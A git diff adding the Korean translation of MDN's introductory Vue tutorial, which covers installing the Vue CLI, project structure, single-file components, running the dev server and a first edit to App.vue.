+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li>
+  </ul>
+ </li>
+ <li>Ember
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li>
+  </ul>
+ </li>
+ <li>Vue
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li>
+  </ul>
+ </li>
+ <li>Svelte
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html
new file mode 100644
index 0000000000..0ea628b883
--- /dev/null
+++ b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html
@@ -0,0 +1,293 @@
+---
+title: Vue 시작하기
+slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started
+translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div>
+
+<p class="summary">이제 우리가 배울 세 번째 프레임워크인 Vue를 소개하겠습니다. 이 글에서 우리는 Vue에 대한 간단한 배경지식을 얻고, Vue를 설치하고 새로운 프로젝트를 만드는 방법을 배웁니다. 또한 전체 프로젝트와 컴포넌트의 주요 구조를 공부하고, 로컬에서 프로젝트를 실행하는 방법을 살펴본 후 예제 프로젝트를 구성해봅니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 요구 사항:</th>
+   <td>
+    <p>코어 <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML">HTML</a>, <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a> 및 <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript">JavaScript</a> 언어에 익숙함. 터미널/커맨드라인에 대한 지식.<br>
+     <br>
+     Vue 컴포넌트는 앱의 데이터를 관리하는 JavaScript 객체와 기본 DOM 구조에 매핑되는 HTML 기반 템플릿 구문을 조합해 작성된다. Vue를 설치하고 고급 기능(예: 단일 파일 컴포넌트, render 함수 등)을 사용하려면 node + npm이 설치된 터미널이 필요하다.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>Vue 로컬 개발 환경을 구성한다. 스타터 앱을 만들고 기본적인 동작 원리를 이해한다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="더_선명한_Vue">더 선명한 Vue</h2>
+
+<p>Vue는 최신의 JavaScript 프레임워크로 <a href="/ko/docs/Glossary/Progressive_Enhancement">점진적 향상</a>을 위한 유용한 기능을 제공합니다. 다른 많은 프레임워크와는 달리, Vue를 사용하면 기존의 HTML 코드를 향상시킬 수 있습니다. 이를 통해 아주 쉽게 <a href="/en-US/docs/Glossary/jQuery">JQuery</a> 등의 라이브러리를 Vue로 대체할 수 있습니다. </p>
+
+<p>물론 Vue를 이용해 완전한 단일 페이지 애플리케이션(SPA)을 작성할 수도 있습니다. 이렇게 하면 전체적으로 Vue가 관리하는 마크업을 만들 수 있고, 복잡한 애플리케이션에 대한 개발자 경험과 성능을 향상시킬 수 있습니다. 필요하다면 클라이언트 사이드 라우팅 및 상태 관리 라이브러리를 활용할 수 있다는 장점도 있습니다. Vue는 이와 같은 클라이언트 사이드 라우팅이나 상태 관리에 대해 "미들 그라운드" 접근 방식을 취합니다. Vue 코어 팀은 이런 기능을 위한 (vue-router, vuex 등의) 라이브러리를 유지보수하고 있지만, Vue에 직접 번들로 제공하지는 않습니다. 그러므로 우리가 만들 애플리케이션에 더 적합한 라우팅/상태 관리 라이브러리가 있다면 그것을 선택할 수 있습니다. </p>
+
+<p>Vue는 애플리케이션에 Vue를 점진적으로 통합시킬 수 있도록 하며, 마크업 작성에 대해서도 점진적 접근법을 제공합니다. 다른 많은 프레임워크처럼, Vue에서도 컴포넌트를 통해 재사용 가능한 마크업 블록을 생성할 수 있습니다. 대부분의 경우 Vue 컴포넌트는 특별한 HTML 템플릿 구문으로 작성됩니다. HTML에서 가능한 것 이상의 제어가 필요하다면, JSX나 일반 JavaScript 함수를 이용해 컴포넌트를 정의할 수 있습니다. </p>
+
+<p>이 튜토리얼을 진행하는 동안, 다른 탭에 <a href="https://vuejs.org/v2/guide/">Vue 가이드 </a>와 <a href="https://vuejs.org/v2/api/">API 문서</a>를 열어 두고 각 항목에 대해 더 자세한 정보가 필요할 때 참조하세요. Vue와 다른 프레임워크 간의 비교(편향될 가능성 있음)는 <a href="https://vuejs.org/v2/guide/comparison.html">Vue 문서: 다른 프레임워크와의 비교</a>를 참조하세요.</p>
+
+<h2 id="설치하기">설치하기</h2>
+
+<p>기존 사이트에서 Vue를 사용하려면 아래 <code><a href="/en-US/docs/Web/HTML/Element/script">&lt;script&gt;</a></code> 요소 중 하나를 페이지에 추가하면 됩니다. 이 한 줄을 추가하는 것만으로 기존의 사이트에서 Vue를 사용할 수 있습니다. Vue가 자칭 '프로그레시브 프레임워크'임을 강조하는 이유가 바로 이것입니다. JQuery 등의 라이브러리를 사용하는 기존 프로젝트를 Vue로 마이그레이션하려고 할 때 아주 좋은 옵션입니다. 이 방식으로 속성, 커스텀 컴포넌트, 데이터 관리 등 수많은 Vue의 핵심 기능을 사용할 수 있게 됩니다. </p>
+
+<ul>
+ <li>
+  <p>개발 스크립트 (최적화되지 않음. 콘솔 경고 포함. 개발용으로 좋음.)</p>
+
+  <pre class="brush: html notranslate">&lt;script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"&gt;&lt;/script&gt;</pre>
+ </li>
+ <li>
+  <p>상용 스크립트 (최적화 버전. 콘솔 경고 최소화. 업데이트로 인해 사이트가 영향을 받지 않도록 버전 번호를 명시하는 것이 좋다.)</p>
+
+  <pre class="brush: html notranslate">&lt;script src="https://cdn.jsdelivr.net/npm/vue@2"&gt;&lt;/script&gt;</pre>
+ </li>
+</ul>
+
+<p>하지만 이 방식은 한계가 있습니다. 좀 더 복잡한 앱을 구성하려면 <a href="https://www.npmjs.com/package/vue">Vue NPM package</a>를 사용하는 것이 좋습니다. Vue NPM 패키지를 사용하면 Vue의 고급 기능을 이용할 수 있고, WebPack 같은 번들 도구를 활용할 수 있습니다. 그리고 Vue CLI를 사용하면 개발 과정을 간소화해 Vue 앱을 더욱 쉽게 구성할 수 있습니다. npm 패키지와 CLI를 사용하기 위해 필요한 사항은 다음과 같습니다.</p>
+
+<ol>
+ <li>Node.js 8.11 이상 설치</li>
+ <li>npm 또는 yarn</li>
+</ol>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 아직 위 항목을 설치하지 않았다면, <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line#Adding_powerups">more about installing npm and Node.js</a> 를 참고하세요.</p>
+</div>
+
+<p>CLI를 설치하기 위해 아래 커맨드를 터미널에서 실행하세요.<br>
+ npm을 사용하는 경우:</p>
+
+<pre class="brush: bash notranslate">npm install --global @vue/cli</pre>
+
+<p>yarn을 사용하는 경우:</p>
+
+<pre class="brush: bash notranslate">yarn global add @vue/cli</pre>
+
+<p>설치가 모두 완료되면, 프로젝트를 생성할 디렉토리에서 터미널을 열고 <code>vue create &lt;프로젝트 이름&gt;</code> 를 실행해봅시다. 그러면 Vue CLI는 우리가 사용할 수 있는 프로젝트 구성 목록을 보여줄 것입니다. 미리 설정되어 있는 몇 가지 구성 중 골라서 사용해도 되고, 모든 것을 직접 구성할 수도 있습니다. 이 옵션을 통해 우리는 TypeScript, linting, vue-router, 테스트 등의 항목을 구성할 수 있습니다.</p>
+
+<p>더 자세한 내용은 아래에서 살펴보겠습니다.</p>
+
+<h2 id="새로운_프로젝트_시작하기">새로운 프로젝트 시작하기</h2>
+
+<p>Vue의 다양한 기능을 알아보기 위해, 예제로 할 일 목록(todo list) 앱을 만들어보려고 합니다. Vue CLI를 사용해서 새로운 앱을 구성해봅시다. 아래 내용을 순서대로 따라해보세요:</p>
+
+<ol>
+ <li>터미널에서 <code>cd &lt;디렉토리&gt;</code>를 입력해 샘플 앱을 만들 위치로 이동하고,  <code>vue create moz-todo-vue</code>를 실행하세요.</li>
+ <li>방향키와 <kbd>Enter</kbd>를 사용해 "Manually select features" 옵션을 선택하세요.</li>
+ <li>첫 번째 메뉴에서 프로젝트에 포함하고 싶은 기능들을 선택할 수 있습니다. "Babel"과 "Linter / Formatter"가 선택되어 있나요? 선택되어 있지 않다면 방향키와 스페이스바를 사용해 선택해주세요. 그리고 <kbd>Enter</kbd>를 누릅니다.</li>
+ <li>다음으로 linter / formatter 구성을 선택하겠습니다. "Eslint with error prevention only"로 이동하고 다시 <kbd>Enter</kbd>를 눌러주세요. 흔히 생기는 에러를 잡는데 도움을 주면서도 너무 엄격하지는 않은 옵션을 선택했습니다.</li>
+ <li>다음은 자동 lint를 어떤 방식으로 하고 싶은지 묻는 메세지가 표시될 것입니다. "Lint on save"를 선택하세요. 우리가 프로젝트 내부의 파일을 저장할 때 에러를 체크하라는 의미입니다. 이제 <kbd>Enter</kbd> 를 누르세요.</li>
+ <li>이제 구성 파일을 어떻게 관리할지 선택해야 합니다. "In dedicated config files" 옵션을 선택하면 ESLint와 같은 것들의 구성 설정을 그들의 전용 파일에 넣게 됩니다. "In package.json" 옵션의 경우, 모든 구성 설정을 앱의 <code>package.json</code> 파일에 넣습니다. 우선 지금은 "In dedicated config files" 옵션을 선택하고 <kbd>Enter</kbd>를 누릅시다.</li>
+ <li>마지막으로, 지금까지 설정한 내용을 다음에 다시 사용하고 싶은지(현재 설정을 사전 설정 목록에 추가하고 싶은지) 묻는 메세지가 표시됩니다. 이 부분은 여러분이 하고 싶은대로 하시면 돼요. 만약 이 설정을 다음에도 다시 사용하고 싶다면 <kbd>y</kbd>를, 아니라면 <kbd>n</kbd>을 누르세요.</li>
+</ol>
+
+<p>이제 CLI가 우리의 프로젝트를 위한 발판을 만들기 시작하고 우리의 앱을 위한 모든 디펜던시를 설치할 것입니다. </p>
+
+<p>만약 이전에 한 번도 Vue CLI를 사용해본 적 없다면, 위에서 설명하지 않은 질문이 한 가지 더 표시될 것입니다. 패키지 매니저를 고르라는 메세지가 나타나면, 여러분이 선호하는 것을 고르면 됩니다. 지금부터는 여러분이 선택한 패키지 매니저(npm / yarn)가 기본값으로 설정됩니다. 만약 이 기본값을 변경하고 싶다면 <code>vue create</code> 커맨드를 실행할 때 <code>--packageManager=&lt;package-manager&gt;</code> 플래그를 추가하면 됩니다. 다시 말해, 만약 여러분이 이전에 yarn을 사용했지만 다음에는 npm을 사용하도록 프로젝트를 생성하고 싶다면 <code>vue create moz-todo-vue --packageManager=npm</code>을 실행하면 됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 모든 옵션을 여기서 설명하지는 않았습니다. 자세한 내용은 <a href="https://cli.vuejs.org">find more information on the CLI</a> 를 참고하세요.</p>
+</div>
+
+<h2 id="프로젝트_구조">프로젝트 구조</h2>
+
+<p>위의 모든 내용이 성공적으로 진행됐다면, Vue CLI가 우리의 프로젝트에 사용할 디렉토리와 파일을 생성했을 것입니다. 다음은 그 중 가장 중요한 파일과 디렉토리에 대한 설명입니다.</p>
+
+<ul>
+ <li><code>.eslintrc.js</code>: <a href="https://eslint.org/">eslint</a>의 config 파일입니다. linting 규칙을 이 파일에서 관리할 수 있습니다.</li>
+ <li><code>babel.config.js</code>: <a href="https://babeljs.io/">Babel</a>의 config 파일입니다. Babel은 개발용으로 사용하는 최신 JavaScript 기능을 상용 브라우저 호환이 가능하도록 구버전으로 번역하는 역할을 합니다. 대표적으로, ECMA Script 2015(비공식적으로 ES6라고도 불림)로 작성된 코드를 ES5로 변환해 IE 등의 브라우저에서 동작할 수 있도록 해주는 것이 Babel이 하는 일입니다. 이 파일에 부가적인 babel 플러그인을 등록할 수 있습니다.</li>
+ <li><code>.browserslistrc</code>: <a href="https://github.com/browserslist/browserslist">Browserslist</a>의 config 파일입니다. 우리가 사용하는 도구를 어떤 브라우저에 최적화할지 이 파일에 정의할 수 있습니다.</li>
+ <li><code>public</code>: public 디렉토리는 <a href="https://webpack.js.org/">Webpack</a>의 처리를 받지 않고 퍼블리싱되는 정적 자산(static assets)을 포함합니다. (단, <code>index.html</code>의 경우 일부 Webpack의 처리를 받습니다)
+  <ul>
+   <li><code>favicon.ico</code>: 앱의 대표 favicon 파일입니다. 기본값으로 Vue 로고가 들어가 있습니다.</li>
+   <li><code>index.html</code>: 앱의 템플릿 파일입니다. 우리의 Vue 앱은 이 HTML 페이지로부터 실행됩니다. lodash 템플릿 구문을 사용해 보간법으로 값을 지정할 수 있습니다.
+    <div class="note"><strong>Note</strong>: index.html 파일은 애플리케이션 레이아웃을 관리하는 템플릿이 아닙니다. 이 파일은 Vue 앱 외부의 정적 HTML을 제어하는 템플릿입니다. 고급 사용 사례를 제외하면 이 파일을 직접 편집할 일은 거의 없습니다.</div>
+   </li>
+  </ul>
+ </li>
+ <li><code>src</code>: 우리의 Vue 애플리케이션의 핵심 내용을 포함하게 될 디렉토리입니다.
+  <ul>
+   <li><code>main.js</code>: 이 파일은 애플리케이션의 진입점입니다. 현재 이 파일은 Vue 앱을 초기화하고 <code>index.html</code> 파일에서 어떤 HTML 엘리멘트를 앱에 붙여야 하는지 (예제 프로젝트에서는 #app 엘리멘트) 나타냅니다. 이 파일에 전역 컴포넌트나 부가적인 Vue 라이브러리를 등록하는 경우가 많습니다. </li>
+   <li><code>App.vue</code>: Vue 애플리케이션의 최상위 컴포넌트입니다. Vue 컴포넌트에 대한 자세한 내용은 아래를 참조하세요.</li>
+   <li><code>components</code>: 우리가 앞으로 만들 Vue 컴포넌트를 저장할 디렉토리입니다. 지금은 한 개의 예시 컴포넌트만을 포함하고 있습니다.</li>
+   <li><code>assets</code>: CSS나 이미지 등의 정적 자산(static assets)을 저장하는 디렉토리입니다. 이 파일들은 src 디렉토리에 포함되어 있기 때문에 Webpack의 처리를 받습니다. 즉, <a href="https://sass-lang.com/">Sass/SCSS</a>나 <a href="https://stylus-lang.com/">Stylus</a>와 같은 전처리 도구를 사용할 수 있다는 의미입니다.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 새로운 프로젝트를 생성할 때 어떤 옵션을 선택했는지에 따라, 위에 소개되지 않은 디렉토리가 생길 수도 있습니다. 예를 들어 router 옵션을 선택했다면 <code>views</code>가 생성됩니다.</p>
+</div>
+
+<h2 id=".vue_파일_단일_파일_컴포넌트">.vue 파일 (단일 파일 컴포넌트)</h2>
+
+<p>다른 많은 프론트엔드 프레임워크와 마찬가지로, Vue 앱을 구축할 때도 컴포넌트가 중심적인 역할을 합니다. 대규모 애플리케이션을 여러 개의 개별 컴포넌트로 분리해 별도로 생성/구축하고, 필요한 경우 각 컴포넌트간에 데이터를 주고 받을 수 있습니다. 이 작은 블록들은 우리가 코드에 대해 추론하고 테스트하기 쉽도록 도와줍니다.</p>
+
+<p>일부 프레임워크에서는 템플릿과 로직, 스타일링 코드를 각각 분리된 파일에 작성하기를 권장하지만, Vue는 이와 정반대의 방식을 채택합니다. 단일 파일 컴포넌트(<a href="https://vuejs.org/v2/guide/single-file-components.html">Single File Components</a>)를 사용하면, Vue는 템플릿과 이에 대응하는 스크립트, CSS를 모두 하나의 <code>.vue</code> 파일에 묶어서 작성하도록 합니다. 이 파일들은 Webpack과 같은 JS 빌드 도구를 통해 처리됩니다. 그러므로 프로젝트에서 빌드 타임 도구들을 사용할 수 있다는 장점이 있습니다. 즉 우리는 Bable, TypeScript, SCSS 같은 도구를 사용해 더욱 정교한 컴포넌트를 생성할 수 있습니다.</p>
+
+<p>게다가 Vue CLI로 생성한 프로젝트는 즉시 Webpack과 함께 <code>.vue</code> 파일을 사용할 수 있도록 구성됩니다. 우리가 Vue CLI로 생성한 예제 프로젝트의 src 폴더를 열어 보면 <code>App.vue</code>가 생성된 것을 확인할 수 있습니다.</p>
+
+<p>이제 App.vue를 좀 더 알아봅시다.</p>
+
+<h3 id="App.vue">App.vue</h3>
+
+<p><code>App.vue</code> 파일을 열어보세요. 이 파일이 세 부분으로 이루어져 있다는 것을 바로 확인할 수 있습니다. 바로 컴포넌트 템플릿을 정의하는 <code>&lt;template&gt;</code> 파트, 스크립트를 작성하는 <code>&lt;script&gt;</code> 파트, 그리고 스타일링 정보를 작성하는 <code>&lt;style&gt;</code> 파트입니다. 모든 단일 파일 컴포넌트는 이러한 기본 구조로 이루어져 있습니다.</p>
+
+<p><code>&lt;template&gt;</code> 은 컴포넌트의 모든 마크업 구조와 디스플레이 로직을 포함합니다. 이 템플릿은 HTML 구문은 물론이고, 일부 Vue에 특화된 구문도 포함할 수 있습니다. Vue 관련 구문은 나중에 더 자세히 알아보겠습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <code>&lt;template&gt;</code> 태그에 <code>lang</code> 속성을 지정해 표준 HTML 대신 Pug 템플릿을 사용할 수 있습니다: <code>&lt;template lang="pug"&gt;</code>. 이 튜토리얼에서는 표준 HTML을 계속 사용할 예정이지만, 이렇게 Pug 등의 다른 템플릿을 사용할 수도 있다는 걸 소개해보았습니다.</p>
+</div>
+
+<p><code>&lt;script&gt;</code>는 컴포넌트 화면에 표시되지 않는 모든 로직을 포함하고 있습니다. 가장 중요한 것은 <code>&lt;script&gt;</code> 태그 안에 반드시 기본으로 export되는 (하단 코드의 export default 구문 참고) JS 오브젝트가 있어야 한다는 것입니다. 이 오브젝트에서 로컬 컴포넌트 등록, 컴포넌트 인풋(props) 정의, 로컬 상태 관리, 메서드 정의 등 작업이 이루어집니다. 빌드 단계에서 이 오브젝트가 처리되고, 템플릿과 함께 <code>render()</code> 함수를 통해 Vue 컴포넌트로 변환됩니다. </p>
+
+<p><code>App.vue</code>를 살펴보면, 현재 default export 오브젝트는 컴포넌트 이름을 <code>app</code>으로 설정하고 <code>components</code> 속성에 <code>HelloWorld</code> 컴포넌트를 등록합니다. 이런 식으로 컴포넌트를 등록하면 로컬 컴포넌트가 됩니다. 이렇게 로컬로 등록된 컴포넌트는 이 컴포넌트를 등록한 상위 컴포넌트 내부에서만 사용할 수 있으므로, 각각의 컴포넌트 파일에서 필요한 컴포넌트를 임포트하고 등록해야 합니다. 앱의 모든 페이지가 모든 컴포넌트를 사용하는 것은 아니기 때문에, 번들 분할/트리 쉐이킹에 유용한 기능입니다. </p>
+
+<pre class="brush: js notranslate">import HelloWorld from './components/HelloWorld.vue';
+
+export default {
+  name: 'app',
+  components: {
+    //You can register components locally here.
+    HelloWorld
+  }
+};</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <a href="https://www.typescriptlang.org/">TypeScript</a> 문법을 사용하고 싶다면, <code>&lt;script&gt;</code> 태그 안에 <code>lang</code> 속성을 설정해 컴파일러에게 TypeScript를 사용하고 있다고 알려주세요: <code>&lt;script lang="ts"&gt;</code></p>
+</div>
+
+<p><code>&lt;style&gt;</code> 에는 컴포넌트에서 사용할 CSS를 포함합니다. <code>&lt;style scoped&gt;</code>와 같이 <code>scoped</code> 속성을 추가하면 Vue는 그 안의 내용을 SFC(단일 파일 컴포넌트) 내부 범위에서만 적용합니다. CSS-in-JS 방식과 비슷하게 동작하지만, 여기서는 일반 CSS 구문을 작성할 수 있다는 차이점이 있습니다. </p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: CLI로 프로젝트를 생성할 때 CSS 전처리기를 선택했다면, 빌드타임에 Webpack에서 내용을 처리할 수 있도록 <code>&lt;style&gt;</code> 태그에 <code>lang</code> 속성을 추가할 수 있습니다. 예를 들어 <code>&lt;style lang="scss"&gt;</code> 라고 작성하면 스타일링 정보에 SCSS 문법을 사용할 수 있습니다. </p>
+</div>
+
+<h2 id="로컬에서_앱_실행하기">로컬에서 앱 실행하기</h2>
+
+<p>Vue CLI는 개발 서버를 내장하고 있습니다. 앱을 로컬로 실행할 수 있기 때문에, 직접 서버를 구성할 필요 없이 쉽게 테스트해볼 수 있습니다. 프로젝트의 <code>package.json</code> 파일을 열어보면, CLI가 npm 스크립트로 <code>serve</code> 명령어를 추가해놓은 것을 확인할 수 있습니다. </p>
+
+<p>터미널을 열고,  <code>npm run serve</code> (yarn을 사용한다면 <code>yarn serve</code>)를 실행해보세요. 아래 내용이 나타날 것입니다.</p>
+
+<pre class="notranslate">INFO  Starting development server...
+98% after emitting CopyPlugin
+
+ DONE  Compiled successfully in 18121ms
+
+  App running at:
+  - Local:   &lt;http://localhost:8080/&gt;
+  - Network: &lt;http://192.168.1.9:8080/&gt;
+
+  Note that the development build is not optimized.
+  To create a production build, run npm run build.</pre>
+
+<p>브라우저 탭을 열고 위의 “local” 주소로 (위 내용처럼 <code>http://localhost:8080</code>이거나 설정에 따라 다를 수 있음) 이동해보면, 아래 사진과 같은 앱이 나타날 것입니다. 환영 메시지, Vue 문서 링크, 우리가 선택한 CLI 플러그인 링크, 기타 유용한 Vue 커뮤니티와 생태계 링크 등이 표시되고 있습니다.</p>
+
+<p><img alt="default vue app render, with vue logo, welcome message, and some documentation links" src="https://mdn.mozillademos.org/files/17240/vue-default-app.png" style="border-style: solid; border-width: 1px; height: 779px; width: 1600px;"></p>
+
+<h2 id="약간의_변경_사항_적용하기">약간의 변경 사항 적용하기</h2>
+
+<p>일단 Vue 로고를 제거합시다. <code>App.vue</code> 파일을 열고, 템플릿 섹션에서 <code><a href="/en-US/docs/Web/HTML/Element/img">&lt;img&gt;</a></code> 요소를 지워보세요.</p>
+
+<pre class="brush: html notranslate"><span class="author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z8h7gz67ziz76zcz77zz80zz71zncfz69zz69ziaz82zz71zz72zhz77zz122zz90z14mcyd">&lt;img alt="Vue logo" src="./assets/logo.png"&gt;</span></pre>
+
+<p>서버가 아직 실행중이라면, 거의 즉시 로고가 제거되는 것을 확인할 수 있을 것입니다. 템플릿 섹션에서 <code>HelloWorld</code> 컴포넌트도 삭제해봅시다.</p>
+
+<p>가장 먼저 아래 라인을 지워주세요.</p>
+
+<pre class="brush: html notranslate">&lt;HelloWorld msg="Welcome to Your Vue.js App"/&gt;</pre>
+
+<p>이제 <code>App.vue</code> 파일을 저장해보면 <code>HelloWorld</code> 컴포넌트를 등록했으나 사용하지 않았다는 에러가 발생할 것입니다. 해당 컴포넌트를 임포트하고 등록하는 코드 역시 지워야 합니다.</p>
+
+<p>이제 아래 라인도 삭제해보세요.</p>
+
+<pre class="brush: js notranslate">import HelloWorld from './components/HelloWorld.vue'</pre>
+
+<pre class="brush: js notranslate">components: {
+  HelloWorld
+}</pre>
+
+<p>이제 더는 에러가 발생하지 않는 것을 확인할 수 있습니다. 다만 <code>&lt;template&gt;</code> 파트에 표시할 내용이 없기 때문에 빈 페이지만 보일 것입니다. </p>
+
+<p>그럼 이제 <code>&lt;div id="app"&gt;</code> 안에 <code>&lt;h1&gt;</code> 요소를 추가해보세요. 우리는 todo list 앱을 만들 거니까, 헤더 텍스트를 "To-Do List"라고 작성해봅시다.</p>
+
+<pre class="brush: html notranslate">&lt;template&gt;
+  &lt;div id="app"&gt;
+    &lt;h1&gt;To-Do List&lt;/h1&gt;
+  &lt;/div&gt;
+&lt;/template&gt;</pre>
+
+<p><code>App.vue</code> 는 우리가 원했던 대로 'To-Do List'라는 내용의 헤더를 표시할 것입니다!</p>
+
+<h2 id="정리">정리</h2>
+
+<p>우리는 이 장에서 Vue에 숨겨진 몇 가지 아이디어를 배우고, 우리의 예제 애플리케이션의 기초 구조를 만들고, 이를 살펴보고, 몇 가지 변경 사항을 적용해보았습니다. </p>
+
+<p>이제 기본적인 소개는 끝났으니, 좀 더 나아가서 우리의 샘플 애플리케이션인 To-Do List 앱을 구현해봐야겠죠? 할 일 목록을 저장하고 일을 완료하면 체크하는 기능, 모든 아이템/완료된 아이템/아직 완료되지 않은 아이템을 필터링할 수 있는 기능을 구현해야 합니다.</p>
+
+<p>다음 글에서는 우리의 첫 커스텀 컴포넌트를 작성하고, props 전달 및 데이터 상태 저장과 같은 몇 가지 중요한 개념을 살펴보겠습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li>
+ <li>React
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li>
